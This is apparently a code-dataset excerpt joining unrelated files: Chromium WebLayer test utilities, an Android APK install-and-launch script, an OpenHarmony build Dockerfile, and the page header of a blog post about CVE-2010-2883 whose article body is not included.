was_stop_called_ = navigation->WasStopCalled();
load_error_ = navigation->GetLoadError();
http_status_code_ = navigation->GetHttpStatusCode();
navigation_state_ = navigation->GetState();
run_loop_.Quit();
}
} // namespace weblayer
| Zhao-PengFei35/chromium_src_4 | weblayer/test/weblayer_browser_test_utils.cc | C++ | unknown | 5,429 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef WEBLAYER_TEST_WEBLAYER_BROWSER_TEST_UTILS_H_
#define WEBLAYER_TEST_WEBLAYER_BROWSER_TEST_UTILS_H_
#include <string>
#include "base/functional/callback_forward.h"
#include "base/memory/raw_ptr.h"
#include "base/run_loop.h"
#include "base/values.h"
#include "build/build_config.h"
#include "weblayer/public/navigation.h"
#include "weblayer/public/navigation_observer.h"
class GURL;
namespace autofill {
struct FormData;
}
namespace content {
class WebContents;
}
namespace weblayer {
class Shell;
class Tab;
// Navigates |shell| to |url| and wait for completed navigation.
void NavigateAndWaitForCompletion(const GURL& url, Shell* shell);
void NavigateAndWaitForCompletion(const GURL& url, Tab* tab);
// Navigates |shell| to |url| and wait for failed navigation.
void NavigateAndWaitForFailure(const GURL& url, Shell* shell);
// Initiates navigation to |url| in |tab| and waits for it to start.
void NavigateAndWaitForStart(const GURL& url, Tab* tab);
// Executes |script| in |shell| and returns the result.
base::Value ExecuteScript(Shell* shell,
const std::string& script,
bool use_separate_isolate);
base::Value ExecuteScript(Tab* tab,
const std::string& script,
bool use_separate_isolate);
// Executes |script| in |shell| with a user gesture. Useful for tests of
// functionality that gates action on a user gesture having occurred.
// Differs from ExecuteScript() as follows:
// - Does not notify the caller of the result as the underlying implementation
// does not. Thus, unlike the above, the caller of this function will need to
// explicitly listen *after* making this call for any expected event to
// occur.
// - Does not allow running in a separate isolate as the machinery for
// setting a user gesture works only in the main isolate.
void ExecuteScriptWithUserGesture(Shell* shell, const std::string& script);
void ExecuteScriptWithUserGesture(Tab* tab, const std::string& script);
/// Gets the title of the current webpage in |shell|.
const std::u16string& GetTitle(Shell* shell);
#if BUILDFLAG(IS_ANDROID)
// Sets up the autofill system to be one that simply forwards detected forms to
// the passed-in callback.
void InitializeAutofillWithEventForwarding(
Shell* shell,
const base::RepeatingCallback<void(const autofill::FormData&)>&
on_received_form_data);
#endif // BUILDFLAG(IS_ANDROID)
// Configures the subresource filter to activate on |url| in |web_contents|.
void ActivateSubresourceFilterInWebContentsForURL(
content::WebContents* web_contents,
const GURL& url);
class OneShotNavigationObserver : public NavigationObserver {
public:
explicit OneShotNavigationObserver(Shell* shell);
~OneShotNavigationObserver() override;
void WaitForNavigation();
bool completed() { return completed_; }
bool is_error_page() { return is_error_page_; }
bool is_download() { return is_download_; }
bool is_reload() { return is_reload_; }
bool was_stop_called() { return was_stop_called_; }
Navigation::LoadError load_error() { return load_error_; }
int http_status_code() { return http_status_code_; }
NavigationState navigation_state() { return navigation_state_; }
bool is_page_initiated() const { return is_page_initiated_; }
private:
// NavigationObserver implementation:
void NavigationStarted(Navigation* navigation) override;
void NavigationCompleted(Navigation* navigation) override;
void NavigationFailed(Navigation* navigation) override;
void Finish(Navigation* navigation);
base::RunLoop run_loop_;
raw_ptr<Tab> tab_;
bool completed_ = false;
bool is_error_page_ = false;
bool is_download_ = false;
bool is_reload_ = false;
bool was_stop_called_ = false;
bool is_page_initiated_ = false;
Navigation::LoadError load_error_ = Navigation::kNoError;
int http_status_code_ = 0;
NavigationState navigation_state_ = NavigationState::kWaitingResponse;
};
} // namespace weblayer
#endif // WEBLAYER_TEST_WEBLAYER_BROWSER_TEST_UTILS_H_
| Zhao-PengFei35/chromium_src_4 | weblayer/test/weblayer_browser_test_utils.h | C++ | unknown | 4,218 |
#!/usr/bin/env python
# Copyright 2019 The Chromium Authors
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from __future__ import absolute_import
from __future__ import print_function
import argparse
import os
import subprocess
import sys
sys.path.insert(0, os.path.join(os.path.dirname(__file__), os.pardir, os.pardir,
'build', 'android'))
import devil_chromium
from devil.android import apk_helper
from devil.android import device_utils
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--shell-apk-path', type=os.path.abspath, required=True,
help='Absolute path to the WebEngine shell APK to use.')
parser.add_argument('--support-apk-path', action='append',
type=os.path.abspath, default=[],
help='Absolute path to the WebLayer support APKs to '
'use. Specify multiple times for multiple paths.')
parser.add_argument('--switch-webview-to', type=str, required=False,
help='APK to set as the WebView implementation.')
parser.add_argument('-d', '--device', dest='devices', action='append',
default=[],
help='Target device for apk to install on. Enter multiple'
' times for multiple devices.')
parser.add_argument('remaining_args', nargs=argparse.REMAINDER,
help='Flags to be passed to WebLayer should be appended'
' as --args="--myflag"')
args = parser.parse_args()
devil_chromium.Initialize()
devices = device_utils.DeviceUtils.HealthyDevices(device_arg=args.devices)
def install(device):
print('Installing %s...' % args.shell_apk_path)
device.Install(args.shell_apk_path, reinstall=True, allow_downgrade=True)
print('Success')
for path in args.support_apk_path:
print('Installing %s...' % path)
device.Install(path, reinstall=True, allow_downgrade=True)
print('Success')
if args.switch_webview_to:
print('Installing %s...' % args.switch_webview_to)
device.Install(args.switch_webview_to, reinstall=True,
allow_downgrade=True)
package = apk_helper.GetPackageName(args.switch_webview_to)
print('Setting WebView implementation to %s' % package)
device.SetWebViewImplementation(package)
print('Done')
if (os.path.basename(args.shell_apk_path) == "WEShellLocal.apk"):
launch_cmd = [
os.path.join(os.path.dirname(args.shell_apk_path),
os.pardir, 'bin', 'webengine_shell_local_apk'),
'launch'
]
launch_cmd.extend(args.remaining_args)
subprocess.call(launch_cmd)
elif (os.path.basename(args.shell_apk_path) == "WEShellSandbox.apk"):
launch_cmd = [
os.path.join(os.path.dirname(args.shell_apk_path),
os.pardir, 'bin', 'webengine_shell_sandbox_apk'),
'launch'
]
launch_cmd.extend(args.remaining_args)
subprocess.call(launch_cmd)
else:
device.adb.Shell('monkey -p org.chromium.webengine.shell 1')
device_utils.DeviceUtils.parallel(devices).pMap(install)
if __name__ == '__main__':
sys.exit(main())
| Zhao-PengFei35/chromium_src_4 | weblayer/tools/run_webengine_shell.py | Python | unknown | 3,291 |
# Copyright (c) 2020 Huawei Device Co., Ltd.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
FROM ubuntu:18.04
WORKDIR /home/openharmony
RUN sed -i "s@http://.*archive.ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list \
&& sed -i "s@http://.*security.ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list \
&& apt-get update -y \
&& apt-get install -y apt-utils binutils bison flex bc build-essential make mtd-utils gcc-arm-linux-gnueabi u-boot-tools python3.8 python3-pip git zip unzip curl wget gcc g++ ruby=1:2.5.1 dosfstools mtools default-jre default-jdk scons python3.8-distutils perl openssl libssl-dev cpio git-lfs m4 ccache zlib1g-dev tar rsync liblz4-tool genext2fs binutils-dev device-tree-compiler e2fsprogs git-core gnupg gnutls-bin gperf lib32ncurses5-dev libffi-dev zlib* libelf-dev libx11-dev libgl1-mesa-dev lib32z1-dev xsltproc x11proto-core-dev libc6-dev-i386 libxml2-dev lib32z-dev libdwarf-dev \
&& apt-get install -y grsync xxd libglib2.0-dev libpixman-1-dev kmod jfsutils reiserfsprogs xfsprogs squashfs-tools pcmciautils quota ppp libtinfo-dev libtinfo5 libncurses5 libncurses5-dev libncursesw5 libstdc++6 python2.7 gcc-arm-none-eabi \
&& apt-get install -y vim ssh locales \
&& apt-get install -y doxygen \
&& locale-gen "en_US.UTF-8" \
&& rm -rf /bin/sh /usr/bin/python /usr/bin/python3 /usr/bin/python3m \
&& ln -s /bin/bash /bin/sh \
&& ln -s /usr/bin/python3.8 /usr/bin/python3 \
&& ln -s /usr/bin/python3.8 /usr/bin/python3m \
&& ln -s /usr/bin/python3.8 /usr/bin/python \
&& curl https://gitee.com/oschina/repo/raw/fork_flow/repo-py3 > /usr/bin/repo \
&& chmod +x /usr/bin/repo \
&& pip3 install --trusted-host https://repo.huaweicloud.com -i https://repo.huaweicloud.com/repository/pypi/simple requests setuptools pymongo kconfiglib pycryptodome ecdsa ohos-build pyyaml prompt_toolkit==1.0.14 redis json2html yagmail python-jenkins \
&& pip3 install esdk-obs-python --trusted-host pypi.org \
&& pip3 install six --upgrade --ignore-installed six \
&& mkdir -p /home/tools \
&& mkdir -p /home/tools/gn \
&& wget -P /home/tools https://repo.huaweicloud.com/openharmony/compiler/clang/12.0.1-530132/linux/clang-530132-linux-x86_64.tar.bz2 \
&& wget -P /home/tools https://repo.huaweicloud.com/harmonyos/compiler/hc-gen/0.65/linux/hc-gen-0.65-linux.tar \
&& wget -P /home/tools https://repo.huaweicloud.com/harmonyos/compiler/gcc_riscv32/7.3.0/linux/gcc_riscv32-linux-7.3.0.tar.gz \
&& wget -P /home/tools https://repo.huaweicloud.com/harmonyos/compiler/ninja/1.9.0/linux/ninja.1.9.0.tar \
&& wget -P /home/tools https://repo.huaweicloud.com/harmonyos/compiler/gn/1717/linux/gn-linux-x86-1717.tar.gz \
&& wget -P /home/tools https://mirrors.huaweicloud.com/nodejs/v14.15.4/node-v14.15.4-linux-x64.tar.xz \
&& wget -P /home/tools https://hm-verify.obs.cn-north-4.myhuaweicloud.com/qemu-5.2.0.tar.xz \
&& tar -jxvf /home/tools/clang-530132-linux-x86_64.tar.bz2 -C /home/tools \
&& mv /home/tools/clang-530132 /home/tools/llvm \
&& tar -xvf /home/tools/hc-gen-0.65-linux.tar -C /home/tools \
&& tar -xvf /home/tools/gcc_riscv32-linux-7.3.0.tar.gz -C /home/tools \
&& tar -xvf /home/tools/ninja.1.9.0.tar -C /home/tools \
&& tar -xvf /home/tools/gn-linux-x86-1717.tar.gz -C /home/tools/gn \
&& tar -xJf /home/tools/node-v14.15.4-linux-x64.tar.xz -C /home/tools \
&& cp /home/tools/node-v14.15.4-linux-x64/bin/node /usr/local/bin \
&& ln -s /home/tools/node-v14.15.4-linux-x64/lib/node_modules/npm/bin/npm-cli.js /usr/local/bin/npm \
&& ln -s /home/tools/node-v14.15.4-linux-x64/lib/node_modules/npm/bin/npx-cli.js /usr/local/bin/npx \
&& tar -xJf /home/tools/qemu-5.2.0.tar.xz -C /home/tools \
&& sed -i '$aexport PATH=/home/tools/llvm/bin:$PATH' /root/.bashrc \
&& sed -i '$aexport PATH=/home/tools/hc-gen:$PATH' /root/.bashrc \
&& sed -i '$aexport PATH=/home/tools/gcc_riscv32/bin:$PATH' /root/.bashrc \
&& sed -i '$aexport PATH=/home/tools/ninja:$PATH' /root/.bashrc \
&& sed -i '$aexport PATH=/home/tools/node-v14.15.4-linux-x64/bin:$PATH' /root/.bashrc \
&& sed -i '$aexport PATH=/home/tools/gn:$PATH' /root/.bashrc \
&& sed -i '$aexport PATH=/root/.local/bin:$PATH' /root/.bashrc \
&& export PATH=/home/tools/llvm/bin:$PATH \
&& export PATH=/home/tools/hc-gen:$PATH \
&& export PATH=/home/tools/gcc_riscv32/bin:$PATH \
&& export PATH=/home/tools/ninja:$PATH \
&& export PATH=/home/tools/node-v12.20.0-linux-x64/bin:$PATH \
&& export PATH=/home/tools/gn:$PATH \
&& export PATH=/root/.local/bin:$PATH \
&& cd /home/tools/qemu-5.2.0 \
&& mkdir build \
&& cd build \
&& ../configure --target-list=arm-softmmu \
&& make -j \
&& make install \
&& cd /home/openharmony \
&& rm -rf /home/tools/*.tar \
&& rm -rf /home/tools/*.gz \
&& rm -rf /home/tools/*.xz \
&& rm -rf /home/tools/qemu-5.2.0 \
&& npm install -g @ohos/hpm-cli --registry https://mirrors.huaweicloud.com/repository/npm/
ENV LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 LC_ALL=en_US.UTF-8
| yuzhewang/docs | docker/Dockerfile | Dockerfile | public-domain | 5,461 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/19/cve-2010-2883-adobe-reader-ttf字体sing表栈溢出漏洞/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="0x1:漏洞描述 CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致执行任意代码。 0x2:分析环境 推荐使用的环境 备注 操作系统 Windows XP SP3 简体中文版 虚拟机 VMware 调试器 OD">
<meta property="og:type" content="article">
<meta property="og:title" content="CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="0x1:漏洞描述 CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致执行任意代码。 0x2:分析环境 推荐使用的环境 备注 操作系统 Windows XP SP3 简体中文版 虚拟机 VMware 调试器 OD">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201013235707085.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201028234333765.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201028234401837.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109215720617.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201029235903195.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201104211542610.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201104211659428.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109201540699.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109211515283.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109215720617.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109233420281.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109235316562.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109235551091.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110000836183.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110001742314.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110002213991.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110002529870.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110002842137.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110004506163.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110004824363.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005023971.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005125716.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005307611.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005501083.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005720538.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005847673.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110010014506.png">
<meta property="article:published_time" content="2021-05-19T14:42:44.000Z">
<meta property="article:modified_time" content="2023-11-17T11:38:22.660Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="Adobe Reader漏洞">
<meta property="article:tag" content="漏洞分析">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201013235707085.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
